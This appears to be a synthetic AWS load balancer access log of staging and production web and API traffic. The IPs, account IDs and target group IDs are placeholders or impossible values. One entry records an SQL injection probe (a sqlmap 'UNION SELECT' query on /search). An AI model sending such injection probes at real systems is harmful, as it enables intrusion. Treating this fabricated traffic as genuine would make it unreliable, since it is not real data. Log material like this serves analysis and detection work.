66.159.211.184:12109 96.48.142.187:80 0.119098 0.178660 0.007333 200 200 962 3001 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b9c7-c64012f55e4d4c8ebae5a212" "staging-alb.example.com" "-" 4 2024-11-01T00:09:27.912497Z "forward" "-" "-" "96.48.142.187:80" "200" "-" "-" +https 2024-11-01T00:09:28.935586Z staging-alb 3.18.147.57:54768 151.135.35.93:443 0.054050 0.316479 0.102797 301 301 360 6754 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b9c8-bd4c1fa8a0c042fc8a5aa000" "staging-alb.example.com" "-" 10 2024-11-01T00:09:28.935586Z "forward" "-" "-" "151.135.35.93:443" "301" "-" "-" +https 2024-11-01T00:09:30.568619Z prod-web-alb 237.85.162.78:12610 10.0.156.167:443 0.067021 0.160453 0.065036 301 301 473 7056 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b9ca-bcc20a56c61e4b6db6658657" "prod-web-alb.example.com" "-" 2 2024-11-01T00:09:30.568619Z "forward" "-" "-" "10.0.156.167:443" "301" "-" "-" +https 2024-11-01T00:09:31.540365Z prod-api-alb 108.145.26.151:18997 10.0.227.9:443 0.038742 0.120652 0.027903 200 200 40 1704 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b9cb-df0b77d162c74cb7a62dc864" "prod-api-alb.example.com" "-" 1 2024-11-01T00:09:31.540365Z "forward" "-" "-" "10.0.227.9:443" "200" "-" "-" +https 2024-11-01T00:09:32.702413Z prod-api-alb 228.156.21.207:40613 10.0.144.238:443 0.009200 0.206356 0.041638 302 302 344 7658 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b9cc-fac87732788e4a5e80a6fc3a" "prod-api-alb.example.com" "-" 9 2024-11-01T00:09:32.702413Z "forward" "-" "-" "10.0.144.238:443" "302" "-" "-" +https 2024-11-01T00:09:33.935775Z prod-web-alb 186.94.11.18:23994 10.0.3.64:443 0.032991 0.267016 0.065029 200 200 586 1277 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b9cd-7d4c7fb1311843418f5ef3d2" "prod-web-alb.example.com" "-" 5 2024-11-01T00:09:33.935775Z "forward" "-" "-" "10.0.3.64:443" "200" "-" "-" +https 2024-11-01T00:09:35.276171Z prod-api-alb 121.57.100.185:32382 10.0.75.135:443 0.048305 0.369206 0.039445 200 200 11 8988 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b9cf-445daa05c50e4a4f921452a5" "prod-api-alb.example.com" "-" 1 2024-11-01T00:09:35.276171Z "forward" "-" "-" "10.0.75.135:443" "200" "-" "-" +http 2024-11-01T00:09:36.737122Z staging-alb 36.139.57.163:38377 161.62.19.78:80 0.126264 0.597901 0.000767 200 200 639 8965 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b9d0-fa010452edba4b6f83221e61" "staging-alb.example.com" "-" 7 2024-11-01T00:09:36.737122Z "forward" "-" "-" "161.62.19.78:80" "200" "-" "-" +https 2024-11-01T00:09:38.522889Z prod-web-alb 19.162.80.171:34196 10.0.244.129:443 0.027520 0.012391 0.056095 200 200 137 11253 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b9d2-08c56eca2a004d0a90e93ad8" "prod-web-alb.example.com" "-" 9 2024-11-01T00:09:38.522889Z "forward" "-" "-" "10.0.244.129:443" "200" "-" "-" +https 2024-11-01T00:09:39.698257Z prod-web-alb 147.164.193.29:23251 10.0.237.120:443 0.050983 0.037238 0.056938 301 301 193 11069 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b9d3-33bffbdb56584382b88b1c09" "prod-web-alb.example.com" "-" 3 2024-11-01T00:09:39.698257Z "forward" "-" "-" "10.0.237.120:443" "301" "-" "-" +https 2024-11-01T00:09:41.355414Z prod-api-alb 130.87.139.20:36644 10.0.178.243:443 0.037927 0.328993 0.058640 200 200 283 877 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b9d5-33de4083f7294951a270ef9b" "prod-api-alb.example.com" "-" 10 2024-11-01T00:09:41.355414Z "forward" "-" "-" "10.0.178.243:443" "200" "-" "-" +https 2024-11-01T00:09:42.793929Z prod-web-alb 187.175.47.171:57158 10.0.85.173:443 0.030266 0.066481 0.042395 200 200 269 12524 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b9d6-d209d78d363643818770b532" "prod-web-alb.example.com" "-" 8 2024-11-01T00:09:42.793929Z "forward" "-" "-" "10.0.85.173:443" "200" "-" "-" +http 2024-11-01T00:09:44.046476Z staging-alb 234.223.219.58:64088 145.148.200.104:8080 0.050784 0.062084 0.071050 200 200 690 4344 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b9d8-c8cc662665f4451a99cb5f36" "staging-alb.example.com" "-" 10 2024-11-01T00:09:44.046476Z "forward" "-" "-" "145.148.200.104:8080" "200" "-" "-" +https 2024-11-01T00:09:45.702300Z prod-web-alb 142.96.29.23:12510 10.0.163.223:443 0.030564 0.347771 0.050931 404 404 401 6484 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b9d9-024b2a05caee46f3a5bf9af8" "prod-web-alb.example.com" "-" 5 2024-11-01T00:09:45.702300Z "forward" "-" "-" "10.0.163.223:443" "404" "-" "-" +https 2024-11-01T00:09:46.948376Z prod-api-alb 236.141.33.203:21719 10.0.111.148:443 0.021400 0.055411 0.004993 200 200 539 14773 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b9da-72996239f70d4a5284a76d2c" "prod-api-alb.example.com" "-" 10 2024-11-01T00:09:46.948376Z "forward" "-" "-" "10.0.111.148:443" "200" "-" "-" +https 2024-11-01T00:09:48.521600Z prod-web-alb 174.196.225.177:46922 10.0.28.32:443 0.027184 0.243173 0.096672 200 200 976 4258 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b9dc-6b696a00787241d99ef84b1c" "prod-web-alb.example.com" "-" 10 2024-11-01T00:09:48.521600Z "forward" "-" "-" "10.0.28.32:443" "200" "-" "-" +https 2024-11-01T00:09:49.294133Z staging-alb 34.25.209.242:45381 7.215.25.215:443 0.010082 0.476865 0.135210 200 200 20 12836 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b9dd-05654806d09648fc99a04c8b" "staging-alb.example.com" "-" 1 2024-11-01T00:09:49.294133Z "forward" "-" "-" "7.215.25.215:443" "200" "-" "-" +https 2024-11-01T00:09:50.554805Z prod-api-alb 60.232.172.87:26177 10.0.209.244:443 0.093015 0.350887 0.079194 200 200 413 1757 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b9de-c431c876d1464f0581600e9e" "prod-api-alb.example.com" "-" 6 2024-11-01T00:09:50.554805Z "forward" "-" "-" "10.0.209.244:443" "200" "-" "-" +https 2024-11-01T00:09:51.373370Z prod-api-alb 131.189.139.125:22359 10.0.233.197:443 0.011312 0.057597 0.061102 200 200 957 6459 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b9df-897ee9ecbba8499db0ddb5c3" "prod-api-alb.example.com" "-" 10 2024-11-01T00:09:51.373370Z "forward" "-" "-" "10.0.233.197:443" "200" "-" "-" +https 2024-11-01T00:09:51.669460Z prod-web-alb 129.20.97.72:32481 10.0.216.240:443 0.061878 0.396517 0.068579 301 301 652 14108 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b9df-6a524da87ff145a1875a0cd8" "prod-web-alb.example.com" "-" 7 2024-11-01T00:09:51.669460Z "forward" "-" "-" "10.0.216.240:443" "301" "-" "-" +https 2024-11-01T00:09:52.027873Z prod-web-alb 220.218.235.139:53799 10.0.111.31:443 0.046975 0.232212 0.028752 404 404 795 10874 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b9e0-eeaf3b12e030441aab71d163" "prod-web-alb.example.com" "-" 3 2024-11-01T00:09:52.027873Z "forward" "-" "-" "10.0.111.31:443" "404" "-" "-" +https 2024-11-01T00:09:53.627217Z prod-web-alb 42.39.130.156:32182 10.0.35.4:443 0.072343 0.376668 0.051066 200 200 783 10585 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b9e1-80b7e1962ee94cdaa6ad5548" "prod-web-alb.example.com" "-" 4 2024-11-01T00:09:53.627217Z "forward" "-" "-" "10.0.35.4:443" "200" "-" "-" +https 2024-11-01T00:09:54.985772Z staging-alb 241.39.235.230:27513 162.221.171.226:443 0.057889 0.315414 0.054402 200 200 354 14077 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b9e2-81fe4b8d54cf44cc9fe42a57" "staging-alb.example.com" "-" 10 2024-11-01T00:09:54.985772Z "forward" "-" "-" "162.221.171.226:443" "200" "-" "-" +http 2024-11-01T00:09:56.109668Z staging-alb 236.29.253.184:42143 90.244.31.222:443 0.100698 0.333857 0.085620 200 200 899 11205 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b9e4-d134240b2eef4937821ad72d" "staging-alb.example.com" "-" 10 2024-11-01T00:09:56.109668Z "forward" "-" "-" "90.244.31.222:443" "200" "-" "-" +https 2024-11-01T00:09:56.242418Z staging-alb 212.154.247.209:12437 64.126.204.51:8080 0.075727 0.407252 0.053122 302 302 937 14488 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b9e4-2d74d7c506be419192d4c026" "-" "-" 9 2024-11-01T00:09:56.242418Z "forward" "-" "-" "64.126.204.51:8080" "302" "-" "-" +https 2024-11-01T00:09:57.567080Z prod-web-alb 203.10.53.204:55839 10.0.48.90:443 0.002939 0.386420 0.052076 301 301 280 1873 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b9e5-ebb75d7be4074ccb9da8fbcb" "prod-web-alb.example.com" "-" 7 2024-11-01T00:09:57.567080Z "forward" "-" "-" "10.0.48.90:443" "301" "-" "-" +https 2024-11-01T00:09:58.759586Z prod-api-alb 185.181.26.16:19899 10.0.108.227:443 0.051067 0.239425 0.060058 200 200 266 14146 "GET /search?q=1' UNION SELECT HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b9e6-e773a6b1c53745f28b29084e" "-" "-" 8 2024-11-01T00:09:58.759586Z "forward" "-" "-" "10.0.108.227:443" "200" "-" "-" +https 2024-11-01T00:09:58.910057Z prod-web-alb 195.176.220.231:24362 10.0.17.238:443 0.032218 0.129682 0.037603 200 200 961 10329 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b9e6-de71cfff5d194b6ca9760dc6" "prod-web-alb.example.com" "-" 2 2024-11-01T00:09:58.910057Z "forward" "-" "-" "10.0.17.238:443" "200" "-" "-" +https 2024-11-01T00:10:00.381171Z prod-web-alb 180.240.185.21:38339 10.0.196.78:443 0.070490 0.024239 0.023651 200 200 7 12169 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b9e8-64f74a9850e943b899facc75" "prod-web-alb.example.com" "-" 2 2024-11-01T00:10:00.381171Z "forward" "-" "-" "10.0.196.78:443" "200" "-" "-" +http 2024-11-01T00:10:01.840949Z staging-alb 161.241.64.147:28033 244.182.238.11:8080 0.016428 0.657424 0.047204 302 302 32 14757 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b9e9-5f4b6368e187480c91bbe2f9" "staging-alb.example.com" "-" 4 2024-11-01T00:10:01.840949Z "forward" "-" "-" "244.182.238.11:8080" "302" "-" "-" +https 2024-11-01T00:10:02.366586Z prod-api-alb 165.166.57.143:25405 10.0.192.79:443 0.061426 0.193298 0.071979 301 301 542 7298 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b9ea-266d48a3150c411e80ee4884" "prod-api-alb.example.com" "-" 5 2024-11-01T00:10:02.366586Z "forward" "-" "-" "10.0.192.79:443" "301" "-" "-" +https 2024-11-01T00:10:03.797716Z prod-web-alb 255.233.120.130:16532 10.0.250.138:443 0.032605 0.248314 0.045261 200 200 394 596 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b9eb-7c4c65908be84f378b4780a9" "prod-web-alb.example.com" "-" 7 2024-11-01T00:10:03.797716Z "forward" "-" "-" "10.0.250.138:443" "200" "-" "-" +https 2024-11-01T00:10:04.894806Z prod-web-alb 214.164.80.241:24253 10.0.236.242:443 0.028959 0.066992 0.073757 200 200 425 10539 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b9ec-3cb94da78e694c93bf0ca712" "prod-web-alb.example.com" "-" 10 2024-11-01T00:10:04.894806Z "forward" "-" "-" "10.0.236.242:443" "200" "-" "-" +https 2024-11-01T00:10:05.553800Z prod-api-alb 40.153.167.114:54808 10.0.20.178:443 0.010395 0.193164 0.018030 200 200 12 8054 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b9ed-eeb007aca23e478383f08312" "prod-api-alb.example.com" "-" 0 2024-11-01T00:10:05.553800Z "forward" "-" "-" "10.0.20.178:443" "200" "-" "-" +https 2024-11-01T00:10:06.787990Z prod-api-alb 45.6.252.47:34098 10.0.31.186:443 0.090565 0.357725 0.024964 200 200 397 10119 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b9ee-576ee439aa224941b66ce7ae" "prod-api-alb.example.com" "-" 9 2024-11-01T00:10:06.787990Z "forward" "-" "-" "10.0.31.186:443" "200" "-" "-" +http 2024-11-01T00:10:08.122242Z staging-alb 93.11.149.144:45663 58.145.131.56:8080 0.072164 0.313552 0.081749 200 200 89 1971 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b9f0-b9f730b88a4a40698a37542e" "staging-alb.example.com" "-" 9 2024-11-01T00:10:08.122242Z "forward" "-" "-" "58.145.131.56:8080" "200" "-" "-" +http 2024-11-01T00:10:09.526883Z staging-alb 124.97.54.169:18876 38.92.46.130:443 0.040984 0.301964 0.147979 200 200 264 11229 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b9f1-585ec67aafbd450194d32c11" "staging-alb.example.com" "-" 2 2024-11-01T00:10:09.526883Z "forward" "-" "-" "38.92.46.130:443" "200" "-" "-" +http 2024-11-01T00:10:10.339282Z staging-alb 254.142.119.196:55549 54.189.216.10:443 0.113044 0.271919 0.132139 404 404 232 14644 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b9f2-75976d0c8efe468486baa058" "staging-alb.example.com" "-" 4 2024-11-01T00:10:10.339282Z "forward" "-" "-" "54.189.216.10:443" "404" "-" "-" +https 2024-11-01T00:10:11.790065Z staging-alb 183.67.58.6:32143 242.187.207.103:443 0.029167 0.717579 0.042236 200 200 4 14033 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b9f3-735f47560c6c4082b497aeaf" "staging-alb.example.com" "-" 6 2024-11-01T00:10:11.790065Z "forward" "-" "-" "242.187.207.103:443" "200" "-" "-" +https 2024-11-01T00:10:13.374673Z prod-api-alb 103.141.237.68:49989 10.0.178.171:443 0.088453 0.376513 0.013587 200 200 4 9979 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b9f5-fdd227bc24cd41d2a11e89e8" "prod-api-alb.example.com" "-" 10 2024-11-01T00:10:13.374673Z "forward" "-" "-" "10.0.178.171:443" "200" "-" "-" +https 2024-11-01T00:10:13.986868Z prod-web-alb 195.95.130.49:50051 10.0.22.2:443 0.028626 0.294487 0.084390 404 404 680 2128 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b9f5-09409508b656435da7712bfd" "prod-web-alb.example.com" "-" 9 2024-11-01T00:10:13.986868Z "forward" "-" "-" "10.0.22.2:443" "404" "-" "-" +https 2024-11-01T00:10:15.765361Z prod-web-alb 184.150.205.140:16387 10.0.192.75:443 0.039601 0.332039 0.022972 301 301 712 6986 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b9f7-7b760a7aace344d8ad1b8ca7" "prod-web-alb.example.com" "-" 2 2024-11-01T00:10:15.765361Z "forward" "-" "-" "10.0.192.75:443" "301" "-" "-" +https 2024-11-01T00:10:16.802672Z prod-api-alb 129.124.127.188:34247 10.0.215.156:443 0.043958 0.426500 0.066664 404 404 803 7243 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b9f8-2b2a1f531e704a6f988e0267" "prod-api-alb.example.com" "-" 6 2024-11-01T00:10:16.802672Z "forward" "-" "-" "10.0.215.156:443" "404" "-" "-" +https 2024-11-01T00:10:17.646013Z staging-alb 64.103.196.14:33716 251.195.95.192:443 0.058132 0.089227 0.075945 200 200 201 9750 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b9f9-a2e351c92d2f43c18ba050eb" "staging-alb.example.com" "-" 7 2024-11-01T00:10:17.646013Z "forward" "-" "-" "251.195.95.192:443" "200" "-" "-" +https 2024-11-01T00:10:19.141352Z staging-alb 195.184.141.68:17396 32.125.84.145:80 0.038124 0.089115 0.021964 200 200 605 6794 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b9fb-ef3208008eb84bf0bb5a9d12" "staging-alb.example.com" "-" 0 2024-11-01T00:10:19.141352Z "forward" "-" "-" "32.125.84.145:80" "200" "-" "-" +https 2024-11-01T00:10:19.653823Z prod-web-alb 7.243.48.172:36486 10.0.210.91:443 0.035705 0.383971 0.050989 200 200 848 4418 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b9fb-47e38ad77b7a4dd1bb3dc85a" "prod-web-alb.example.com" "-" 5 2024-11-01T00:10:19.653823Z "forward" "-" "-" "10.0.210.91:443" "200" "-" "-" +https 2024-11-01T00:10:20.665567Z prod-api-alb 180.112.220.75:33747 10.0.125.173:443 0.091185 0.357868 0.080498 301 301 655 6850 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b9fc-60f4847a8f5743f58f356a29" "prod-api-alb.example.com" "-" 2 2024-11-01T00:10:20.665567Z "forward" "-" "-" "10.0.125.173:443" "301" "-" "-" +https 2024-11-01T00:10:21.145205Z prod-api-alb 197.210.251.146:61345 10.0.215.184:443 0.083032 0.096574 0.020960 302 302 395 13663 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 